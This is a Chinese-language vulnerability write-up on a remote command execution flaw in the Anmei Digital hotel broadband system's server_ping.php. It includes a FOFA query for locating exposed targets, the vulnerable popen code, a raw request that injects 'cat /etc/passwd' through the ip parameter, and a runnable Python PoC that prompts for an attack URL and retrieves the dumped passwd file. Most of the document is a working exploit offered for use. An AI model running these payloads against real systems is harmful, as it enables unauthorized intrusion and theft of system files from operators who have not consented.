安美数字_酒店宽带运营系统_server_ping.php_远程命令执行漏洞

# 安美数字 酒店宽带运营系统 server_ping.php 远程命令执行漏洞

## 漏洞描述

安美数字 酒店宽带运营系统 server_ping.php 存在远程命令执行漏洞，漏洞文件中ip参数未过滤造成命令执行

## 漏洞影响

> 安美数字 酒店宽带运营系统

## FOFA

> “酒店宽带运营”

## 漏洞复现

登录页面如下


存在漏洞的文件为 **server_ping.php**

“`php
\n”;
} else {
echo “\n”;
}
?>
“`

漏洞位置为

“`
$cmd = “ping -c 2 -s 65 $ip”;
$fp = popen($cmd, “r”);
“`

GET传入 **$ip参数** 后直接命令执行，并且文件无权限要求

请求包为

“`
GET /manager/radius/server_ping.php?ip=127.0.0.1|cat%20/etc/passwd>../../pq.txt&id=1 HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
“`


## 漏洞POC

“`python
#!/usr/bin/python3
#-*- coding:utf-8 -*-

import base64
import requests
import random
import re
import json
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def POC_1(target_url):
vuln_url = target_url + “/manager/radius/server_ping.php?ip=127.0.0.1|cat%20/etc/passwd>../../pq.txt&id=1”
headers = {
“User-Agent”: “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36”,
“Content-Type”: “application/x-www-form-urlencoded”,
}
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=10)
print(“\033[36m[o] 正在执行 cat /etc/passwd>../../pq.txt \033[0m”.format(target_url))
if “parent” in response.text and response.status_code == 200:
vuln_url = target_url + “/pq.txt”
headers = {
“User-Agent”: “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36”,
“Content-Type”: “application/x-www-form-urlencoded”,
}
response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=10)
if “root:” in response.text:
print(“\033[36m[o] 成功执行 cat /etc/passwd, 响应为:\n{} \033[0m”.format(response.text))
else:
print(“\033[31m[x] 请求失败:{} \033[0m”)
else:
print(“\033[31m[x] 请求失败 \033[0m”)
except Exception as e:
print(“\033[31m[x] 请求失败:{} \033[0m”.format(e))
sys.exit(0)

#
if __name__ == ‘__main__’:
target_url = str(input(“\033[35mPlease input Attack Url\nUrl >>> \033[0m”))
POC_1(target_url)

“`